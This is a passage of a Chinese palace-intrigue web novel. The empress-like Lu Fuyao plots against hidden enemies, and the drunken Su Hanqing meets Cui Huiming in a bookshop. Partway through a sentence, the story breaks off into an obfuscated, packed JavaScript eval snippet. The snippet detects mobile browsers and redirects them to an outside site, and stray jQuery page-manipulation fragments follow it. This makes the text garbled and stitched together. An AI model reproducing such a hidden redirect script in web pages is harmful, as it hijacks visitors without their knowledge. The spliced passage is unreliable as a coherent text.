带着萧瑟大摇大摆地走出如愿楼。
陆扶摇口中哼起了不知名的小曲儿,显出几分快活的姿态。但跟在陆扶摇身后的萧瑟,却是紧紧皱眉,手握在刀柄上,看得出有两分的紧张。
“娘娘。”萧瑟捂了捂面上的面巾,以免他人看见他的真容,低声问道,“为何不杀那道长?”
从怀里掏出一吊子钱,陆扶摇放在手中上下颠着,颇有几分江湖浪荡子的风流。
“杀人不过头点地。无聊无聊。”铜钱相撞,叮当作响,跳出几分欢愉。陆扶摇一把攥着铜钱,止住声响,“杀了这个明空道长,以后还会来一个空空道长。倒不如吓吓这个明空道长,探探他们的底。”
萧瑟看着陆扶摇那满不在乎的模样,还是有些摸不着头脑,“娘娘就不怕那道长来真的吗?纵使要请君入瓮,娘娘也不该以身犯险。”
“我自有分寸。”陆扶摇终于收起脸上的笑,“如今朝中,我,崔家相互对峙,裴家虽势弱,但太皇太后和裴阁老还能撑个十几年。我匆匆暴毙,他背后的主子也得不了什么好。他们待在崔晦明后面太久了。与其让他们躲在暗处蛰伏,倒不如我直接将他们激出水面。”
“不过这个崔玉楼,恐怕没我想象中那么简单。只怕当年,他真的知晓些什么。”
“不太可能。”萧瑟沉稳说道:“当年崔玉楼早早归京,如何提前知晓陛下行踪?谋划此等滔天大罪。”
沉吟片刻,陆扶摇脑海中忽然浮现一个大胆的想法。
“或许当年他真的什么都不知晓。”
但身为云州司法参军,他或许偶然之间看到了一些什么。或许这个事情格外微小,微小到他自己也不曾注意。所以,他没向崔晦明告知,而那背后的人,注意到了这个纰漏。
所以,她会动手杀人。
萧瑟低下头,不知道在想什么。
但陆扶摇却是不打算明说。一来,附近人多眼杂。二来,是这件事情太过荒谬,说出来,她自己都有些不可置信。
“最近洛阳可有什么奇怪的动静吗?”拿着铜钱向街边的小贩换了一壶新酒,陆扶摇扔给了萧瑟,“你闻闻,这酒可好?”
萧瑟接过酒,闻了一下。
“那倒没有。如果非要说什么动静,大概就是衔霜忽然回来一趟了。但也不过也一夜,就走了。”
萧瑟将酒还给陆扶摇,“这酒气浓烈,还未开封便闻着香醇。不错。”
“嗯。我知晓了。”点头,陆扶摇脸上又挂起了笑,“衔霜是什么时候回来的?”
“昨夜。但没进城。”
陆扶摇点头。
又提着酒往前走了一会,陆扶摇这才想起来回头说道:“你不必跟着我。”
“娘娘要去哪?”
灿烂一笑,陆扶摇欷吁,“去接情郎。”
“嗯?”萧瑟的眼睛不由睁大。
可陆扶摇早就提着酒走到人群之中。
怪异的调子伴着酒香绕在她的身上,倒真的是风流倜傥浪漫不羁。
苏寒清拆开那醇厚的屠苏酒,仰头直接往下灌。
民间的屠苏酒口感没有宫中那么纯绵,口感辛辣,烧得他喉咙发紧,连喘息都带着辛辣。
可他还是仰着脖颈,喉结滚动,琥珀色的酒液从嘴角溢出,顺着下颌滑落,在衣襟上洇开一片深色。
“呼。咳。”最后一口屠苏酒灌下,苏寒清将酒坛一扔,伏在案上喘息。
酒是好酒,就是太烈了。
“去七竹书局。”按了按微微发疼的太阳穴,苏寒清哑着声音吩咐道,“去到了别跟着我。也先别回宫。别人和你们搭话就实话实说,别撒谎。”
“是。公子。”马夫和小黄门有些摸不着头脑,总感觉这个公子有些怪怪地。人是好人,从不为难下人,就总是说一些奇奇怪怪的话。不过他们就是小小的宫人,扯不进什么奇奇怪怪的事情里吧。
只是去一家书店,没什么大不了的。
若娘娘真的怪罪……应该不会怪罪吧。
虽然在心里头不住嘀咕,但马夫还是老老实实地将车驾到七竹书局。
许是因为官员休沐,今日的七竹书局格外热闹。
新到的书册被书童一摞摞地排在酸枝木架上。墨香混着木架,透着一股春日里的腥味,像是泥土混上了凋谢的桃花。难闻,但却诱着人往下闻。
穿杏红衫子的姑娘捏着绢帕,站在门前的话本架子前,听着书童忽悠之词,看着闺中密友和书童勾结,将数十本才子佳人的话本包成孔孟之书,大摇大摆地带出了书局。最后也还是没忍住,咬牙也和那小书童狼狈为奸,也买了数十本书。
只是她还算个正人君子,知道往里面混了几本临帖,掩人耳目。
书局里的人鱼龙混杂,除去小姑娘,倒也有不少的年轻公子聚在一楼围着买书。
但可惜这些人苏寒清一个都不认识,只是觉得有些眼熟。或许是因为哪个父兄在朝中任官吧。
踏入七竹书局的那一刻,满室的人都不由自主地将目光聚到了苏寒清身上。
无他,皆因他身上的酒气属实呛人。
要知道,这七竹书局卖虽大多文人墨客消闲所用的风月雅集,但往来的白衣可是自诩在世曹植。哪个不是穿得衣冠整整,风流俊俏。
只是这苏寒清着实过于风流了。
那衣衫是更薄的云纱,月白色。尚衣局的宫人手巧,用那细细的银线勾出了鱼缠枝莲。步履轻移之间,鱼戏莲花,波光粼粼。茜色丝绦,松松垮垮地挂在了腰间,连着一块金色的腰牌。
年少的小辈认不出,但是混迹官场的老油条看到那块腰牌便移开了目光。
是宫中之人。
还好这公子虽喝了酒,但却是个安静的主。
只是斜着眼睛瞪了一眼他们就摇摇晃晃地走上了二楼。书童不放心,紧跟在了苏寒清身后。
苏寒清回头看了一眼面上忐忑却是挤着局促笑的书童,冷笑一声,却是没有把人赶走。
“去。拿壶酒来。”刚刚坐稳,苏寒清便支起脑袋,指使起了站在门口的书童。
“公子。”书童无奈弯腰,面上的笑容还有着两分的勉强,“我们着是书局,不卖酒。您若是喜欢,小人可以带您去这洛阳最高的酒楼,品最烈的酒。”
“庸俗庸俗。”挥手,苏寒清嫌弃说道,“你一个小小书童懂什么?王右军醉写《兰亭》,太白斗酒诗百篇。那清醒人作诗,平仄如量粟,对仗似裁衣。字字去斟酌,句句却平庸。唯有醉眼观世,才见这世间百态。酒肠开时,诗胆自壮,纵是俗子,亦有造化。”
“是是是。”书童尬笑。
可苏寒清却还是有些不耐烦,随手将旁边的书往地上一抛,“你个小童好生愚笨,我说那么多,你却是只在那愣愣地站
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863609|170293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着。当真是朽木难雕也。”
在背地里悄悄翻了一个白眼,书童小心上前捡起地上的书。
“可是公子,我们这却是不卖酒。您行行好,别为难小人了。万一掌柜的知道了,定要罚小人银子。小人家长贫寒,上有老下有小,一家八口都指望小人。您行行好……”
书童说到后面都忍不住悄悄翻着白眼假哭起来。
可惜苏寒清是一个心狠的主,听到书童的话,只是冷冷一笑,撑着下巴扭头看窗。
“我是那等出不起钱的主吗?”将身上的荷包解下,苏寒清数了两颗金豆子往书童身上扔,“去,买酒去。”
那金豆子从他手里跳出来,在地上蹦了三蹦。先撞着桌脚,又滚过砖缝,最后滴溜溜转到门槛边。书童没把持住,弯腰捡起了金豆子。
“公子您稍等。”
冷笑一声,苏寒清把着下巴翻开了桌上的书,“这书无聊死了,换一本。”
“哎。”书童明了,给苏寒清换了一本时兴的话本子。
苏寒清终于不说话了,仔细地看起了话本子。
其实那话本子也没什么好看的,就是一个庸俗老套的才子佳人之作。只是这故事的主角苏寒清却是有两分眼熟。
那才子是一个不受宠爱的王孙贵族,佳人是个家境贫寒的姑娘。佳人小小年纪就被父母卖到了才子家里。阴阳差错之下,两个人却是烟缘纠葛了。再后来,才子斗倒一堆兄弟继承家业,可却因为各种原因难娶佳人为妻,只能纳为妾。哪知佳人是个恶毒的,不仅百般阻挠才子娶妻还在生下长子后把才子毒害。还威胁一众老管家为她做事,否则就要将天地改姓。
末了,笔者还写道:“女人多善妒,切莫中其计。”
当真是无聊无趣的庸俗之作。
苏寒清冷笑。
“苏大人要酒,老夫便来相陪。”不知何时,崔晦明便提着酒拿着话本走了进来。
“崔大人……”
苏寒清正要站起来行礼就被崔晦明抬手止住,“今日我休沐,也未着官服,不必多礼。”
从善如流地直起了腰,苏寒清假作看不见崔晦明的目光,拿起酒坛就往嘴里灌。
崔晦明的酒太辣,烧得苏寒清眼眶都忍不住发红。可他还是死死攥着酒壶,壶口抵着唇,又是一阵猛灌,这次没咽稳,呛得他弓起背脊剧烈咳嗽,酒水从嘴角溢出,和冷汗混在一起,滴落在案几上。
崔晦明抬袖掩住偶尔泄出来的嫌弃,“苏大人在宫中过得可还好吗?”
“好?可好了。”发出咯咯的怪笑声,被砂石磨过的声音就这么飘进了崔晦明耳中,“你看,锦衣华服,金银珠宝。哈,怎么能不好?”
崔晦明默了默,看着苏寒清灌酒。
“娘娘总归是偏袒你的……”
不说这个还好,崔晦明这么一说,苏寒清顿时脸一冷,手里的酒坛也被他往地上一贯。
碎瓷四溅,锋利的边缘还挂着琥珀色的酒液,反出窗外的琳琅春色。可苏寒清尤不解恨,抬脚碾过碎片,直碾得碎片咯吱作响。
“崔大人知道王大人今日为何与微臣起争执吗?”
崔晦明摇头。他虽知晓陆扶摇今日出宫前去王家,可怎么知晓王家的家事?
更何况苏寒清如今也只是棋盘上随意可弃的棋子,他怎么知道发生了什么?
“因为这张脸啊。”